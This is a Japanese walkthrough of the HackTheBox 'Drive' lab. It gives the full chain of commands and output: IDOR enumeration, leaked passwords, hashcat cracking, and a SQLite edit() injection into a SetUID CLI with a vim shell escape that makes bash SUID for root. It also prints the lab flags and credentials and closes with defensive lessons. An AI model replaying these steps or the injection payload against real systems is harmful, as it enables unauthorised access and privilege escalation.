HackTheBox: Drive — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80, 3000は内部限定filtered
→
22/80, 3000は内部限定filtered
IDOR (/<id>/block/)
getFileDetail認可を迂回
→
getFileDetail認可を迂回
martin SSH
投稿本文に平文PW
→
投稿本文に平文PW
SSHトンネルでGitea到達
martinCruz でログイン
→
martinCruz でログイン
db_backup.sh 漏洩
7zバックアップのパスワード
→
7zバックアップのパスワード
4世代バックアップ解凍
tomHandsのSHA1がローテーション
→
tomHandsのSHA1がローテーション
hashcatクラック → tom
user.txt ✓
→
user.txt ✓
doodleGrive-cli SQLi
edit()関数 + vimシェルエスケープ
→
edit()関数 + vimシェルエスケープ
SUID bash → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポート & バージョンスキャン
BASH
nmap -Pn -p22,80,3000 -sCV -T4 10.129.82.151
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://drive.htb/ 3000/tcp filtered ppp Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
ポート3000 (後に判明: Gitea) が
filtered である点に注目。
外部からは到達不可能で、内部(localhost)限定でしか listen していないことを示唆している
— SSH を奪取した後にローカルポートフォワードで到達する必要がある。
vhost登録 & トップページ確認
BASH
echo "10.129.82.151 drive.htb" >> /etc/hosts curl -s http://drive.htb/ | head -20
RESULT
<title>Doodle Grive</title>
...
<!-- bootstrap css -->
<link rel="stylesheet" type="text/css" href="/static/css/bootstrap.min.css">
ℹ️
“Doodle Grive” というDjango製の自作ファイル共有プラットフォーム。
/login/ と /register/ があり、誰でも新規アカウント登録が可能。
PHASE 2
アカウント登録 & IDOR による martin 資格情報漏洩
アカウント登録 & ログイン
BASH
CJ=/tmp/drive_cj.txt CSRF=$(curl -s -c $CJ http://drive.htb/register/ | grep -oP "csrfmiddlewaretoken\" value=\"\K[^\"]+") curl -s -b $CJ -c $CJ http://drive.htb/register/ \ -d "csrfmiddlewaretoken=$CSRF" -d "username=pentest01" \ -d "email=pentest01@drive.htb" \ -d "password1=P3ntest!Passw0rd99" -d "password2=P3ntest!Passw0rd99" \ --referer http://drive.htb/register/ # 続けてログイン(同様にCSRF取得→POST /login/)
RESULT
HTTP/1.1 302 Found
Location: /
Set-Cookie: csrftoken=...
Set-Cookie: sessionid=nmm3qcd1komk51gi6xsnwudf2zqvnrex; ...
✅
認証不要で自由にアカウント登録できるため、まず低権限アカウントを取得しログインセッションを確立する。
getFileDetail の認可チェックと IDOR の発見
BASH
for id in $(seq 95 110); do
code=$(curl -s -o /dev/null -w "%{http_code}" -b $CJ "http://drive.htb/$id/getFileDetail/")
echo "id=$id code=$code"
done
RESULT
id=98 code=401 id=99 code=401 id=100 code=200 (public, admin所有) id=101 code=401
ℹ️
getFileDetail は所有者/グループ外のファイルに対して正しく 401 を返す。
しかし “Reserve Files” (予約)機能のエンドポイント /<id>/block/ は、
同じファイル詳細テンプレートを描画するにもかかわらず認可チェックが実装されていない。
BASH
for id in 98 99 101; do curl -s -b $CJ "http://drive.htb/$id/block/" done
RESULT (id=79, announce_to_the_software_Engineering_team)
I have created a user for martin on the server to make the workflow
easier for you please use the password
"Xk4@KjyrYv8t194L!".
IDOR で漏洩した martin の SSH 資格情報
martin : Xk4@KjyrYv8t194L!
🚨
IDOR (CWE-639):
/<id>/block/ は所有者・グループ外の
任意ファイルIDを総当たり(1〜150程度)するだけで全文を返す。実在するID(79, 98, 99, 100, 101)
のうち 79 が admin 発の社内連絡で、martin のSSHパスワードを平文で含んでいた。
PHASE 3
martin SSH → SSHトンネル → 内部限定 Gitea → 7zパスワード漏洩
martin SSH ログイン & バックアップ発見
BASH
sshpass -p 'Xk4@KjyrYv8t194L!' ssh martin@10.129.82.151 \ "ls -la /var/www/backups/; ss -tlnp | grep LISTEN"
RESULT
-rw-r--r-- 1 www-data www-data 13018 1_Dec_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 12226 1_Nov_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 12722 1_Oct_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 12770 1_Sep_db_backup.sqlite3.7z
-rwxr-xr-x 1 root root 3760128 db.sqlite3 (←保護なし・最新版)
...
LISTEN 0 4096 *:3000 *:* (Gitea, 外部からはfilteredだがlocalhostでは稼働)
ℹ️
月次で7z暗号化バックアップが
/var/www/backups/ に蓄積されている。
4世代分(Sep/Oct/Nov/Dec)のパスワード付きアーカイブが残っており、解凍できれば
過去のDBスナップショットを横断的に見られる — パスワードローテーション追跡の鍵。
SSHローカルポートフォワードで Gitea に到達
BASH
fuser -k 3000/tcp
sshpass -p 'Xk4@KjyrYv8t194L!' ssh -f -N -L 3000:localhost:3000 martin@10.129.82.151
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:3000/
RESULT
200
Gitea ログイン (martinCruz = martin のパスワード使い回し)
BASH
CJ=/tmp/gitea_cj.txt CSRF=$(curl -s -c $CJ http://localhost:3000/user/login \ | grep -oP '_csrf" value="\K[^"]+' | head -1) curl -s -b $CJ -c $CJ http://localhost:3000/user/login \ -d "_csrf=$CSRF" -d "user_name=martinCruz" \ -d "password=Xk4@KjyrYv8t194L!" \ --referer http://localhost:3000/user/login
RESULT
HTTP/1.1 303 See Other
Location: /
Set-Cookie: i_like_gitea=d9ccbe34305b5ff7; ...
⚠️
表示名
martinCruz はSSHユーザー名 martin とは別物。
パスワードが使い回されているため、Giteaのユーザー一覧/explore機能から正しい
ログインIDを特定した上でログインする必要がある。
コミット履歴 db_backup.sh から 7z パスワード漏洩
BASH
curl -s -b $CJ \ http://localhost:3000/crisDisel/DoodleGrive/raw/branch/main/db_backup.sh
RESULT
#!/bin/bash
DB=$1
date_str=$(date +'%d_%b')
7z a -p'H@ckThisP@ssW0rDIfY0uC@n:)' /var/www/backups/${date_str}_db_backup.sqlite3.7z db.sqlite3
cd /var/www/backups/
...
7z バックアップの暗号化パスワード
H@ckThisP@ssW0rDIfY0uC@n:)
🚨
社内Gitリポジトリにバックアップスクリプト(認証情報ハードコード)が平文でコミットされている
典型的なシークレット漏洩。 リポジトリは
crisDisel 名義で非公開運用の
つもりだったが、パスワード使い回しにより誰でも閲覧可能になっていた。
PHASE 4
4世代バックアップ解凍 → パスワードローテーション解析 → user.txt
4つの 7z バックアップをダウンロード & 解凍
BASH
sshpass -p 'Xk4@KjyrYv8t194L!' scp \
martin@10.129.82.151:/var/www/backups/*.7z .
for f in *.7z; do
7z x -p'H@ckThisP@ssW0rDIfY0uC@n:)' -o"${f%.7z}" "$f" -y
done
ℹ️
最新の
1_Dec_*.7z だけは解凍後の db.sqlite3 が 0バイト
(実体は DoodleGrive/db.sqlite3 サブディレクトリ側にネストされている) — アーカイブ内の
ディレクトリ構造がバックアップ取得時のカレントディレクトリにより世代ごとに微妙に異なる点に注意。
各世代の tomHands パスワードハッシュを抽出
BASH
for d in 1_Sep_db_backup.sqlite3 1_Oct_db_backup.sqlite3 1_Nov_db_backup.sqlite3; do
sqlite3 "$d/db.sqlite3" \
"SELECT username,password FROM accounts_customuser WHERE username='tomHands';"
done
# Dec だけネストされた実体ファイルを直接参照
sqlite3 "1_Dec_db_backup.sqlite3/DoodleGrive/db.sqlite3" \
"SELECT username,password FROM accounts_customuser WHERE username='tomHands';"
RESULT
Sep: tomHands|sha1$DhWa3Bym5bj9Ig73wYZRls$3ecc0c96b090dea7dfa0684b9a1521349170fc93
Oct: tomHands|sha1$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141
Nov: tomHands|sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a
Dec: tomHands|pbkdf2_sha256$390000$wWT8yUbQnRlMVJwMAVHJjW$B98WdQ... (強力・クラック対象外)
ℹ️
開発チームが一時的に弱い Django SHA1 ハッシュ方式へ退行(revert)させていた期間があり、
その間の3世代 (Sep/Oct/Nov) は totHands のパスワードが毎回変わりつつも全て脆弱なSHA1で
保存されていた。Dec に入って本来の
pbkdf2_sha256 に復旧済みだが、過去の
バックアップが残っていたことが命取りになる。
hashcat (mode 124 = Django SHA-1) でクラック
BASH
hashcat -m 124 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -O
RESULT
sha1$DhWa3Bym5bj9Ig73wYZRls$3ecc0c96b090dea7dfa0684b9a1521349170fc93:john boy sha1$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141:johniscool sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a:johnmayer7 Recovered........: 3/3 (100.00%) Digests
⚠️
3つとも一瞬 (1秒) でクラック完了 — rockyou.txt 収録の弱いパスワード。
3候補のうちどれが 現在 のtomの実パスワードと一致するかは、実際にSSHで
試すまで分からない(各世代でパスワードが変わっているため)。
候補パスワードで SSH 試行 → user.txt
BASH
for pw in "john boy" "johniscool" "johnmayer7"; do sshpass -p "$pw" ssh tom@10.129.82.151 "id" done
RESULT
john boy → Permission denied
johniscool → Permission denied
johnmayer7 → uid=1003(tom) gid=1003(tom) groups=1003(tom)
BASH
sshpass -p 'johnmayer7' ssh tom@10.129.82.151 "cat /home/tom/user.txt"
RESULT
37f64dcc511850f7e60d1e07db0bafba
user.txt — tom
37f64dcc511850f7e60d1e07db0bafba
PHASE 5
SetUID doodleGrive-cli バイナリの発見
tom のホームディレクトリ確認
BASH
sshpass -p 'johnmayer7' ssh tom@10.129.82.151 "ls -la /home/tom/; cat README.txt"
RESULT
-rw-r----- 1 root tom 719 README.txt
-rwSr-x--- 1 root tom 887240 doodleGrive-cli
-rw-r----- 1 root tom 33 user.txt
README.txt:
"...we are planning to start working on our new project: 'DoodleGrive
self hosted'...there should be a tool(doodleGrive-cli) to help the IT
team...We sent the username and the password in the email for every
user to help us in testing the tool..."
🚨
doodleGrive-cli は root 所有・SetUID (rws) ビットが立った対話型CLI。
README から「全ユーザーにメールでテスト用ID/PWが送られた」ことが分かる —
共通のバックドア的資格情報がバイナリに埋め込まれている可能性を示唆。
バイナリ解析 (Ghidra) で判明した脆弱性
NOTE
scp で doodleGrive-cli を攻撃機に転送し Ghidra でデコンパイルした結果:
1. main() にフォーマットストリング脆弱性:
printf("Enter password for ");
printf(entered_username, 0x10); ← ユーザー名がそのままprintf書式文字列に
2. activate_user_account() (メニュー選択肢 "5") が sqlite3 CLI を
system() 経由で呼び出す際、ユーザー入力を文字列結合:
snprintf(cmd_str, 0xfa,
"/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line "
"'UPDATE accounts_customuser SET is_active=1 WHERE username=\"%s\";'",
username_input);
sanitize_string() がSQLi対策として \ { / | space ' \n \0 ; を除去するが、
SQLiteの edit() 関数呼び出しに必要な文字(" & ; -数字英字)は素通し。
3. バイナリ内文字列にハードコードされたバックドア資格情報:
username: moriarty / password: findMeIfY0uC@nMr.Holmz!
ℹ️
SQLite の
edit(X, Y) 関数は、環境変数 VISUAL (省略時)で指定した
外部エディタで値 X を一時ファイルとして開く組み込み関数。バイナリ自体が
SetUID root で動くため、呼び出された vim もまた root 権限で起動する —
vim のシェルエスケープ (:!) を使えば任意コマンドを root で実行できる。
PHASE 6
SQLite edit() 関数の悪用 → vim シェルエスケープ → root.txt
VISUAL=vim でバックドアアカウントにログイン
BASH
tom@drive:~$ export VISUAL=/usr/bin/vim tom@drive:~$ ./doodleGrive-cli
RESULT
[!]Caution this tool still in the development phase...[!] Enter Username: moriarty Enter password for moriarty: findMeIfY0uC@nMr.Holmz! Welcome...! doodleGrive cli beta-2.2: 1. Show users list and info 2. Show groups list 3. Check server health and status 4. Show server requests log (last 1000 request) 5. activate user account 6. Exit Select option: 5
edit() 関数を注入してシェルエスケープ
BASH
Enter username to activate account: "&edit(username);-- -
RESULT
Activating account for user '"&edit(username)---'... "/var/tmp/etilqs_xxxxxxxx" [noeol] 1L, 5C admin ← vim がroot権限で開いた
ℹ️
実行されるSQLは
UPDATE accounts_customuser SET is_active=1 WHERE username=""&edit(username);-- -";
となり、edit(username) が呼ばれて username カラムの値(今回は
“admin”)を一時ファイルに書き出し、VISUAL 環境変数で指定した vim を
root権限のまま起動する。
BASH
# vim のコマンドラインモードからシェルエスケープ(フルパス必須: PATHが空) :!/bin/chmod u+s /bin/bash <Enter> (「Press ENTER or type command to continue」を消す) :q!
RESULT
tom@drive:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 /bin/bash
✅
root化成功! doodleGrive-cli 自体がSetUIDであるため、その子プロセスとして
起動した vim、さらにその
:! シェルエスケープで起動したコマンドまで
root権限を継承する。chmod はフルパス(/bin/chmod)で呼ぶ必要がある点に注意
— バイナリはPATH環境変数を空にして動作するため。
SUID bash で root.txt 取得
BASH
tom@drive:~$ /bin/bash -p -c 'id; cat /root/root.txt'
RESULT
uid=1003(tom) gid=1003(tom) euid=0(root) groups=1003(tom) 75283a100c05f9d91534198666baad51
root.txt — root (via SUID bash)
75283a100c05f9d91534198666baad51
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — tom
37f64dcc511850f7e60d1e07db0bafba
root.txt — root
75283a100c05f9d91534198666baad51
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| IDOR (CWE-639) | Doodle Grive /<id>/block/ |
任意ファイル内容の閲覧(認可迂回) | High | getFileDetail では401になるIDでも block エンドポイントは認可チェック無しで全文を返す |
| シークレット漏洩 | Gitea コミット履歴 (db_backup.sh) | 7zバックアップ暗号鍵の漏洩 | Medium | パスワード使い回しでGitea到達、スクリプトにハードコードされた暗号化パスワードを取得 |
| 弱いパスワードハッシュ + 使い回し | 古いDBバックアップ内 Django SHA1 | 平文パスワード復元 | High | 過去世代のバックアップに残っていた弱いSHA1ハッシュをhashcatで瞬時にクラック |
| SQLi → SQLite edit() 悪用 | SetUID doodleGrive-cli | root権限でのコマンド実行 | Critical | 文字列結合SQLクエリにSQLiteのedit()関数を注入、VISUAL=vimでroot権限のエディタを起動しシェルエスケープ |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap (22/80, 3000はfiltered) | Doodle Grive Django アプリ検出 |
| 2 | IDOR | アカウント登録 + /<id>/block/ ID総当たり | martin:Xk4@KjyrYv8t194L! |
| 3 | 横展開 | SSHトンネルでGitea到達 + コミット閲覧 | 7zパスワード H@ckThisP@ssW0rDIfY0uC@n:) |
| 4 | クラック | 4世代バックアップ解凍 + hashcat(mode 124) | user.txt(tom:johnmayer7) |
| 5 | バイナリ解析 | Ghidra でSetUIDバイナリをデコンパイル | SQLi箇所 + バックドア資格情報(moriarty)発見 |
| 6 | 権限昇格 | SQLite edit() + vim シェルエスケープ | root.txt(SUID bash) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 「予約(Reserve)」のような副次的なエンドポイントに本来必須の認可チェックが実装漏れ | 同一リソースへの全アクセス経路(表示・予約・編集等)で認可ミドルウェアを一元適用する。機能追加時にチェックリストで認可漏れを検証する。 |
| 社内連絡内に平文パスワードを記載、Gitコミット履歴にシークレットをハードコード | 秘密情報はVaultやSecrets Managerで管理し、アプリ内メッセージ/コミットに平文で残さない。git-secrets等でpre-commitスキャンを導入する。 |
| パスワードハッシュ方式を一時的にSHA1へ退行させ、しかも旧バックアップを削除せず放置 | ハッシュ方式の変更は移行完了後に旧方式のデータを完全に無効化・再ハッシュする。古いバックアップにも新しい保護水準を遡及適用する運用を徹底する。 |
| SetUIDバイナリ内でのSQLクエリ文字列結合 + 不完全なSQLi対策(edit等のSQLite組込関数を見落とし) + ハードコードされたバックドア資格情報 | 必ずプレースホルダ(パラメータ化クエリ)を使う。SQLite拡張関数(edit/load_extension等)は本番環境で無効化する。テスト用バックドア資格情報は本番ビルドに絶対含めない。 |

